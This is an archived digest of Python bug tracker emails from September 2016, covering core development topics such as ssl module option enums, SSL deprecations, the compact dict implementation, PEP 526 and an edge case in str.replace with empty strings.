Subject: [issue28025] Use IntEnum and IntFlags in ssl module
In-Reply-To: <1473356149.55.0.656612529599.issue28025@psf.upfronthosting.co.za>
Message-ID: <1473360989.34.0.772684231095.issue28025@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Can you give me a code sample?

Also, wouldn't

<Options.ALL|NO_SSLv3|NO_SSLv2|NO_COMPRESSION: 2197947391>

be more readable?  And keep the "OP_" names as aliases.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28025>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:57:09 2016
From: report at bugs.python.org (Meador Inge)
Date: Thu, 08 Sep 2016 18:57:09 +0000
Subject: [issue16826] Don't check for PYTHONCASEOK if interpreter started with
 -E
In-Reply-To: <1356964491.55.0.198222992625.issue16826@psf.upfronthosting.co.za>
Message-ID: <1473361029.46.0.442652626219.issue16826@psf.upfronthosting.co.za>


Meador Inge added the comment:

Nothing.  I didn't have a Windows box handy to investigate at the time.  I do now and can look into this in the next day or so.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16826>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:59:17 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Thu, 08 Sep 2016 18:59:17 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473361157.98.0.501640865815.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Yury, thank you for the fix and for good advice!

(I checked everything like 10 times, except for TOS :-)

I run the full test suite and everything seem to be fine now.

Guido, does Yury's patch apply cleanly, or I need to regenerate a new one?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:03:13 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 19:03:13 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <20160908190309.48515.17303.B3491A13@psf.io>


Roundup Robot added the comment:

New changeset 48a1f97d03b4 by Victor Stinner in branch 'default':
dk_get_index/dk_set_index uses a type indices variable
https://hg.python.org/cpython/rev/48a1f97d03b4

New changeset fc8aaa073eb4 by Victor Stinner in branch 'default':
Reindeint DK_xxx macros
https://hg.python.org/cpython/rev/fc8aaa073eb4

New changeset 378e000a6878 by Victor Stinner in branch 'default':
Add documentation to the dict implementation
https://hg.python.org/cpython/rev/378e000a6878

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:03:43 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Thu, 08 Sep 2016 19:03:43 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473361423.74.0.405731526976.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Oh, I see there are more comments by Serhiy, I will implement them and submit a new patch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:04:59 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 08 Sep 2016 19:04:59 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473361499.24.0.026414237734.issue27350@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Isn't this premature to commit changes to critical part of Python core without having reliable benchmark results?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:15:24 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 19:15:24 +0000
Subject: [issue28025] Use IntEnum and IntFlags in ssl module
In-Reply-To: <1473356149.55.0.656612529599.issue28025@psf.upfronthosting.co.za>
Message-ID: <1473362124.25.0.600045361977.issue28025@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I tried:

class SSLContext(_SSLContext):
    ...

    @property
    def options(self):
        return Options(super().options)

    @options.setter
    def options(self, value)
        super().options = value
    #          ^^^^^
    #          This fails with an AttributeError

    # it would be cool to have something like this:
    options = MagicEnumWrapper(Options)


About the shorter names, I'm worried that it might confuse people. The long names have been module constants for a long time.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28025>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:17:52 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 08 Sep 2016 19:17:52 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473362272.42.0.138534428175.issue27350@psf.upfronthosting.co.za>


STINNER Victor added the comment:

For an unknown reason, the code fails on a few buildbots, but not all of them.

* PPC64 Fedora 3.x: GNU/Linux ppc64 POWER7 Fedora 20 GCC Compile Farm host gcc110.fsffrance.org
* PPC64LE Fedora 3.x: GNU/Linux ppc64le POWER8 Fedora 21 GCC Compile Farm host gcc112.fsffrance.org
* s390x Debian 3.x: GNU/Linux s390x System Z Debian Jessie
* s390x RHEL 3.x: GNU/Linux s390x System Z RHEL 7.1
* s390x SLES 3.x: GNU/Linux s390x System Z SLES 12

These buildbot slaves use non-Intel CPU: POWER7, POWER8, s390x System Z (I don't know this platform at all!).

gcc -pthread   -o Programs/_freeze_importlib Programs/_freeze_importlib.o (...) -lpthread -ldl  -lutil   -lm  
./Programs/_freeze_importlib \
    ./Lib/importlib/_bootstrap.py Python/importlib.h
_freeze_importlib: Objects/dictobject.c:805: lookdict_unicode_nodummy: Assertion `ep->me_key != ((void *)0)' failed.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:21:04 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 08 Sep 2016 19:21:04 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <20160908184321.19090.75928.DC610609@psf.io>
Message-ID: <CAMpsgwY3eLcn8Zh5p0XvAuSWd5xbiHSHcQeUaYSRFNwbUAbO0Q@mail.gmail.com>


STINNER Victor added the comment:

> Issue #28027: Mention the names of the removed modules in Misc/NEWS

Thanks :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:23:04 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 08 Sep 2016 19:23:04 +0000
Subject: [issue28028] Convert warnings to SyntaxWarning in parser
Message-ID: <1473362584.72.0.509126494717.issue28028@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

AST parser converts UnicodeError and ValueError raised during parsing string literal to SyntaxError. Maybe make it converting warnings (see issue27364) to SyntaxWarning?

----------
components: Interpreter Core
messages: 275122
nosy: serhiy.storchaka
priority: normal
severity: normal
status: open
title: Convert warnings to SyntaxWarning in parser
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28028>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:31:03 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Thu, 08 Sep 2016 19:31:03 +0000
Subject: [issue28028] Convert warnings to SyntaxWarning in parser
In-Reply-To: <1473362584.72.0.509126494717.issue28028@psf.upfronthosting.co.za>
Message-ID: <1473363063.61.0.628891402267.issue28028@psf.upfronthosting.co.za>


Changes by Emanuel Barry <barry at dadadata.net>:


----------
nosy: +ebarry

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28028>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:34:36 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 19:34:36 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <20160908193433.87525.12900.81DFC785@psf.io>


Roundup Robot added the comment:

New changeset 38802c38cfe1 by R David Murray in branch 'default':
#27364: Deprecate invalid escape strings in str/byutes.
https://hg.python.org/cpython/rev/38802c38cfe1

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:35:58 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Thu, 08 Sep 2016 19:35:58 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473363358.65.0.133476537929.issue27364@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Thank you David for taking the time to review and commit this :)

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:36:22 2016
From: report at bugs.python.org (R. David Murray)
Date: Thu, 08 Sep 2016 19:36:22 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473363382.53.0.270779302154.issue27364@psf.upfronthosting.co.za>


R. David Murray added the comment:

Thanks Emanuel.  No bets on how much hate mail we get for this :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:47:49 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 19:47:49 +0000
Subject: [issue21201] Uninformative error message in multiprocessing.Manager()
In-Reply-To: <1397236820.61.0.692426224091.issue21201@psf.upfronthosting.co.za>
Message-ID: <20160908194745.1920.51722.AF3B58DF@psf.io>


Roundup Robot added the comment:

New changeset 9b1f8c68de4c by Davin Potts in branch '3.5':
Issue #21201: Improves readability of multiprocessing error message from server to client for certain exceptions
https://hg.python.org/cpython/rev/9b1f8c68de4c

New changeset 199aca18d9a1 by Davin Potts in branch 'default':
Issue #21201: Improves readability of multiprocessing error message from server to client for certain exceptions
https://hg.python.org/cpython/rev/199aca18d9a1

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21201>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:50:26 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 19:50:26 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473364226.03.0.860523603002.issue28022@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Another deprecation: I like to deprecate all arguments from SSLSocket.__init__() and require users to go through SSLContext.wrap_socket(). It's going to make the implementation much simpler. The argument list is just crazy:

class SSLSocket(socket):
    def __init__(self, sock=None, keyfile=None, certfile=None,
                 server_side=False, cert_reqs=CERT_NONE,
                 ssl_version=PROTOCOL_TLS, ca_certs=None,
                 do_handshake_on_connect=True,
                 family=AF_INET, type=SOCK_STREAM, proto=0, fileno=None,
                 suppress_ragged_eofs=True, npn_protocols=None, ciphers=None,
                 server_hostname=None,
                 _context=None):

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:53:36 2016
From: report at bugs.python.org (Davin Potts)
Date: Thu, 08 Sep 2016 19:53:36 +0000
Subject: [issue21201] Uninformative error message in multiprocessing.Manager()
In-Reply-To: <1397236820.61.0.692426224091.issue21201@psf.upfronthosting.co.za>
Message-ID: <1473364416.27.0.867442674416.issue21201@psf.upfronthosting.co.za>


Davin Potts added the comment:

Thanks for your patch @wojtekwalczak!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21201>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:53:41 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 08 Sep 2016 19:53:41 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473364226.03.0.860523603002.issue28022@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwa3co42=0EnDvnYoXDifOd8ORCLpOP_nn1fP7FwhOPVnw@mail.gmail.com>


STINNER Victor added the comment:

I like the idea of using SSLContext as the obvious and only choice to
"configure" SSL.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:55:15 2016
From: report at bugs.python.org (R. David Murray)
Date: Thu, 08 Sep 2016 19:55:15 +0000
Subject: [issue16462] smtpd should return greeting
In-Reply-To: <1352732891.73.0.549374987784.issue16462@psf.upfronthosting.co.za>
Message-ID: <1473364515.02.0.0620126583965.issue16462@psf.upfronthosting.co.za>


R. David Murray added the comment:

If someone wants to write a patch for this, we now require (unless you set decode_data to False) that process_message take a **kw dict, so we can pass the greeting in that dict.

----------
versions: +Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16462>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:57:14 2016
From: report at bugs.python.org (Ethan Furman)
Date: Thu, 08 Sep 2016 19:57:14 +0000
Subject: [issue28025] Use IntEnum and IntFlags in ssl module
In-Reply-To: <1473356149.55.0.656612529599.issue28025@psf.upfronthosting.co.za>
Message-ID: <1473364634.27.0.684361683526.issue28025@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Huh.  Well, for property this works:

    @property
    def options(self):
        return Options(_SSLContext.options.__get__(self))

    @options.setter
    def options(self, value):
        _SSLContext.options.__set__(self, Options.OP_ALL)

Sure is ugly, though.

I think there's a PEP about making super() work with descriptors... Ah, PEP447 (not sure it's the same issue, though.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28025>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:01:35 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Thu, 08 Sep 2016 20:01:35 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473364895.0.0.547212146397.issue28022@psf.upfronthosting.co.za>


Changes by Senthil Kumaran <senthil at uthcode.com>:


----------
nosy: +orsenthil

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:06:39 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 20:06:39 +0000
Subject: [issue26058] PEP 509: Add ma_version to PyDictObject
In-Reply-To: <1452331848.43.0.271164045437.issue26058@psf.upfronthosting.co.za>
Message-ID: <20160908200634.69487.30096.B69414AA@psf.io>


Roundup Robot added the comment:

New changeset d43f819caea7 by Victor Stinner in branch 'default':
Add a new private version to the builtin dict type
https://hg.python.org/cpython/rev/d43f819caea7

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26058>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:07:23 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 08 Sep 2016 20:07:23 +0000
Subject: [issue26058] PEP 509: Add ma_version to PyDictObject
In-Reply-To: <1452331848.43.0.271164045437.issue26058@psf.upfronthosting.co.za>
Message-ID: <1473365243.01.0.178012599338.issue26058@psf.upfronthosting.co.za>


STINNER Victor added the comment:

The PEP 509 has been approved by Guido, I just pushed the implementation.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26058>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:07:55 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 20:07:55 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473365275.55.0.876909474363.issue28022@psf.upfronthosting.co.za>


Christian Heimes added the comment:

memo to me: check if SSLContext.wrap_socket() can deal with a fileno as sock argument.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:20:41 2016
From: report at bugs.python.org (R. David Murray)
Date: Thu, 08 Sep 2016 20:20:41 +0000
Subject: [issue20328] mailbox: add method to delete mailbox
In-Reply-To: <1390304458.71.0.378928457479.issue20328@psf.upfronthosting.co.za>
Message-ID: <1473366041.76.0.44467835567.issue20328@psf.upfronthosting.co.za>


R. David Murray added the comment:

Given that there's been no clarification of the problem being solved in several years, I'm going to reject this.  If someone wants to sort it out and improve the patch accordingly we can reopen.

----------
resolution:  -> rejected
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20328>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:23:32 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Thu, 08 Sep 2016 20:23:32 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473366212.34.0.940604357756.issue27985@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Ivan, I have no idea how to integrate your patch and Yury's. I only use Mercurial here, I don't trust the github clone (how far behind is it?). Please sort this out yourself. I am also going through the review on rietveld again.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:23:53 2016
From: report at bugs.python.org (Ethan Furman)
Date: Thu, 08 Sep 2016 20:23:53 +0000
Subject: [issue28025] Use IntEnum and IntFlags in ssl module
In-Reply-To: <1473356149.55.0.656612529599.issue28025@psf.upfronthosting.co.za>
Message-ID: <1473366233.69.0.0692961710653.issue28025@psf.upfronthosting.co.za>


Ethan Furman added the comment:

A little more research shows this is a problem with inheriting descriptors.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28025>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:27:41 2016
From: report at bugs.python.org (Ethan Furman)
Date: Thu, 08 Sep 2016 20:27:41 +0000
Subject: [issue14965] super() and property inheritance behavior
In-Reply-To: <1338433441.66.0.975494137492.issue14965@psf.upfronthosting.co.za>
Message-ID: <1473366461.42.0.298794549013.issue14965@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
nosy: +ethan.furman

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue14965>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:28:13 2016
From: report at bugs.python.org (Ethan Furman)
Date: Thu, 08 Sep 2016 20:28:13 +0000
Subject: [issue28025] Use IntEnum and IntFlags in ssl module
In-Reply-To: <1473356149.55.0.656612529599.issue28025@psf.upfronthosting.co.za>
Message-ID: <1473366493.26.0.336293336499.issue28025@psf.upfronthosting.co.za>


Ethan Furman added the comment:

See issue14965.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28025>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:29:42 2016
From: report at bugs.python.org (R. David Murray)
Date: Thu, 08 Sep 2016 20:29:42 +0000
Subject: [issue15016] Add special case for latin messages in email.mime.text
In-Reply-To: <1338974008.79.0.846609742921.issue15016@psf.upfronthosting.co.za>
Message-ID: <1473366582.93.0.234424168034.issue15016@psf.upfronthosting.co.za>


R. David Murray added the comment:

The new email API (which was just made non-provisional) uses a "sniff" technique to decide what CTE to use for text bodies set via set_content.  So I consider this done (finally).  It does not change MIMEText, which is now the legacy API.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.5, Python 3.6 -Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15016>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:30:41 2016
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Henriot?=)
Date: Thu, 08 Sep 2016 20:30:41 +0000
Subject: [issue28029] Replace and empty strings
Message-ID: <1473366641.62.0.989746465638.issue28029@psf.upfronthosting.co.za>


New submission from St?phane Henriot:

A few days ago, the following behavior surprised me.

>>> "".replace("", "prefix", 1)
''
>>> "".replace("", "prefix")
'prefix'

It seems to me this edge case isn't correctly documented/implemented. I tested with python 2.7, 3.4 and 3.5, I guess it applies for other versions as well.

Here are a few elements, for reference.

? string.replace(s, old, new[, maxreplace])
Return a copy of string s with all occurrences of substring old replaced by new. If the optional argument maxreplace is given, the first maxreplace occurrences are replaced. ?

>>> "" in ""
True
>>> "".count("")
1
>>> "".find("")
0

https://hg.python.org/cpython/file/2.7/Objects/stringobject.c#l2750
https://hg.python.org/cpython/file/default/Objects/unicodeobject.c#l10479

Thanks,

St?phane.

----------
messages: 275140
nosy: St?phane Henriot
priority: normal
severity: normal
status: open
title: Replace and empty strings
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28029>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:31:07 2016
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 08 Sep 2016 20:31:07 +0000
Subject: [issue20100] epoll docs are not clear with regards to CLOEXEC.
In-Reply-To: <1388505494.08.0.643576998185.issue20100@psf.upfronthosting.co.za>
Message-ID: <1473366667.39.0.905659242549.issue20100@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the patch, priyapappachan. Here is an updated patch. Since EPOLL_CLOEXEC is the only value that can be passed to epoll_create1(), we can also simplify the implementation a bit.

----------
nosy: +berker.peksag
stage: needs patch -> patch review
versions: +Python 3.5, Python 3.6, Python 3.7 -Python 3.4
Added file: http://bugs.python.org/file44476/issue20100_v2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20100>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:31:46 2016
From: report at bugs.python.org (R. David Murray)
Date: Thu, 08 Sep 2016 20:31:46 +0000
Subject: [issue12553] Add support for using a default CTE of '8bit' to MIMEText
In-Reply-To: <1310575646.04.0.928731351527.issue12553@psf.upfronthosting.co.za>
Message-ID: <1473366706.36.0.185599787229.issue12553@psf.upfronthosting.co.za>


R. David Murray added the comment:

This is now done, in the new email API that was just made no longer provisional.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed
versions: +Python 3.5, Python 3.6 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12553>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:37:40 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 08 Sep 2016 20:37:40 +0000
Subject: [issue27966] PEP-397 documents incorrect registry path
In-Reply-To: <1473140711.09.0.302739386387.issue27966@psf.upfronthosting.co.za>
Message-ID: <1473367060.7.0.76147270712.issue27966@psf.upfronthosting.co.za>


Steve Dower added the comment:

I'd rather not document this anyway, and I'm not sure it's true right now.

Since 3.5, there is one MSI for the launcher that will be used into the future and handle the reference counting, so this note is irrelevant and solely of historical interest.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27966>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:38:44 2016
From: report at bugs.python.org (SilentGhost)
Date: Thu, 08 Sep 2016 20:38:44 +0000
Subject: [issue28029] Replace and empty strings
In-Reply-To: <1473366641.62.0.989746465638.issue28029@psf.upfronthosting.co.za>
Message-ID: <1473367124.64.0.89296722149.issue28029@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
components: +Interpreter Core
stage:  -> needs patch
versions: +Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28029>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:42:26 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 20:42:26 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473367346.95.0.839659544596.issue28022@psf.upfronthosting.co.za>


Christian Heimes added the comment:

First draft of a patch: https://github.com/tiran/cpython/commits/feature/ssl_deprecation

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:42:41 2016
From: report at bugs.python.org (Meador Inge)
Date: Thu, 08 Sep 2016 20:42:41 +0000
Subject: [issue15352] importlib.h should be regenerated when the marshaling
 code changes
In-Reply-To: <1342294865.71.0.8673703337.issue15352@psf.upfronthosting.co.za>
Message-ID: <1473367361.25.0.654727201331.issue15352@psf.upfronthosting.co.za>


Meador Inge added the comment:

Hmmm, not sure why I forgot to apply this myself.  Thanks for committing it Eric.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15352>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:43:21 2016
From: report at bugs.python.org (Ethan Furman)
Date: Thu, 08 Sep 2016 20:43:21 +0000
Subject: [issue28025] Use IntEnum and IntFlags in ssl module
In-Reply-To: <1473356149.55.0.656612529599.issue28025@psf.upfronthosting.co.za>
Message-ID: <1473367401.97.0.810147851114.issue28025@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Evidently the correct form is:

    super(SSLContext, SSLContext).options.__set__(self, value)

Not sure that's any better.  :(

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28025>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:43:25 2016
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Henriot?=)
Date: Thu, 08 Sep 2016 20:43:25 +0000
Subject: [issue28029] Replace and empty strings
In-Reply-To: <1473366641.62.0.989746465638.issue28029@psf.upfronthosting.co.za>
Message-ID: <1473367405.86.0.335192514121.issue28029@psf.upfronthosting.co.za>


St?phane Henriot added the comment:

For what it's worth, here is the behavior in PyPy 2.2.1

>>>> "".replace("", "prefix", 1)
'prefix'
>>>> "".replace("", "prefix")
'prefix'

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28029>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:44:39 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 20:44:39 +0000
Subject: [issue26331] PEP 515: Tokenizer: allow underscores for grouping in
 numeric literals
In-Reply-To: <1455126624.48.0.163167904941.issue26331@psf.upfronthosting.co.za>
Message-ID: <1473367479.12.0.670431635529.issue26331@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Georg, do you think you will be able to get this in for 3.6b1? If not I can commit it while I'm at the core sprint. I'll wait until tomorrow to see if you reply, otherwise I'm just going to address patch comments and then commit it on your behalf.

----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26331>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:44:56 2016
From: report at bugs.python.org (SilentGhost)
Date: Thu, 08 Sep 2016 20:44:56 +0000
Subject: [issue28029] Replace and empty strings
In-Reply-To: <1473366641.62.0.989746465638.issue28029@psf.upfronthosting.co.za>
Message-ID: <1473367496.72.0.261615067281.issue28029@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44477/issue28029.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28029>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:46:31 2016
From: report at bugs.python.org (SilentGhost)
Date: Thu, 08 Sep 2016 20:46:31 +0000
Subject: [issue28029] Replace and empty strings
In-Reply-To: <1473366641.62.0.989746465638.issue28029@psf.upfronthosting.co.za>
Message-ID: <1473367591.76.0.601314265412.issue28029@psf.upfronthosting.co.za>


SilentGhost added the comment:

Just the least intrusive patch. Also, to me PyPy behaviour doesn't seem correct.

----------
nosy: +SilentGhost
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28029>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:48:16 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 20:48:16 +0000
Subject: [issue27080] Implement the formatting part of PEP 515,
 '_' in numeric literals.
In-Reply-To: <1463863089.86.0.119019547094.issue27080@psf.upfronthosting.co.za>
Message-ID: <1473367696.74.0.668823099813.issue27080@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Latest patch LGTM. If Georg isn't able to get to issue #26331 then I'll commit to tomorrow. Do you want me to commit yours on your behalf right after, Chris to make sure this hits b1?

----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27080>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:48:39 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 20:48:39 +0000
Subject: [issue27080] Implement the formatting part of PEP 515,
 '_' in numeric literals.
In-Reply-To: <1463863089.86.0.119019547094.issue27080@psf.upfronthosting.co.za>
Message-ID: <1473367719.4.0.13196468938.issue27080@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Actually, Chris doesn't have commit privileges so I just will. :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27080>
_______________________________________

